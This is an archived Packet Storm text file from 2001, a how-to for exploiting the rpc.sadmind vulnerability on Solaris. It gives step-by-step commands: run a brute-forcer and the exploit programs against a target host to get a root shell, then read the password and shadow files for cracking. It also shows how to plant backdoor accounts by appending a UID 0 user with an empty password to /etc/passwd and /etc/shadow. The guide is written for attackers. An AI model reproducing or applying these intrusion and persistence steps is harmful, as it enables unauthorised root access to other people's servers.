what you don't know can hurt you

sadmind-howto.txt

sadmind-howto.txt
Posted Nov 22, 2001
Authored by Cyrax | Site members.antionline.com

Explanation of how to exploit the rpc.sadmind bug on Solaris.

tags | exploit
systems | solaris
MD5 | be1ae7f11bc82103d3ad0d2ed147e147

sadmind-howto.txt

Change Mirror Download
rpc.sadmind (27/02/2000)
------------------------

The bug rpc.sadmind has been reported a long time ago. But there has never
been a manual for it. So i decided to explain how to exploit the bug.
First of all i would recommend to use the sadmind brute forcer for the
sploit files sadmindex-sparc.c and sadmindex-x86.c , you can find the
brute forcer at http://packetstormsecurity.org . Search for sadmind
brute forcer and the file samdind-brute-lux.c will be the first file
you'll see...
You compile the brute forcer in the same directory as the sploit
files.
Run the brute forcer like this :
./sadmind-brute-force <arch> <host>
If you don't know what <arch> is then you do ./sadmind-brute-lux
You'll understand now =)
When you have found a vulnerable host (you can scan for RPC stuff with RPC-
scanners LOL) you do this for example
./sadmind-brute-force 1 www.sadmindvulnhost.com

If you're dropped to a rootshell now, the host is vulnerable for real.
Otherwise, the host is patched.

Now you're dropped to the rootshell you have 2 easy ways to exploit the
rpc.sadmind bug.
The first way, this is kinda lame, is that you view the /etc/passwd
(or the /etc/shadow ofcourse) and then crack the password file with
a password-cracker like John The Ripper --> this can take years !
You view the /etc/passwd like this
cat /etc/passwd;
The ; must be added ! If ya type cat /etc/passwd the server will recognize
this command as
cat /etc/passwd^m

The second way to exploit the bug is a lot faster then the first one.
Here we simply add two users, one with root privileges ofcourse...
This example is for a host with /etc/shadow !
Type this at the rootshell :

echo cyrax:x:UID:GID:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax2:x:0:0:cyrax:/:/bin/sh >> /etc/passwd;
echo cyrax:::::: >> /etc/shadow;
echo cyrax2:::::: >> /etc/shadow;

Dont use > instead of >>, >> adds a line, > overwrites !
Replace UID and GID by 666 for example but NOT by 0
After you typed this, there will be added two users to the server :
cyrax and cyrax2
You login with the non-root user, cyrax, and then do su cyrax2
and set the password for the users ...
Now you have root access to the server...

Written by : CyRaX (cyrax@antionline.org)
http://members.antionline.com/cyrax
Special thanks to : nostalg1c
greet[z] : kemX, Cheitan, guppy, |llus|0{\}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    1 Files
  • 17
    Nov 17th
    3 Files
  • 18
    Nov 18th
    22 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close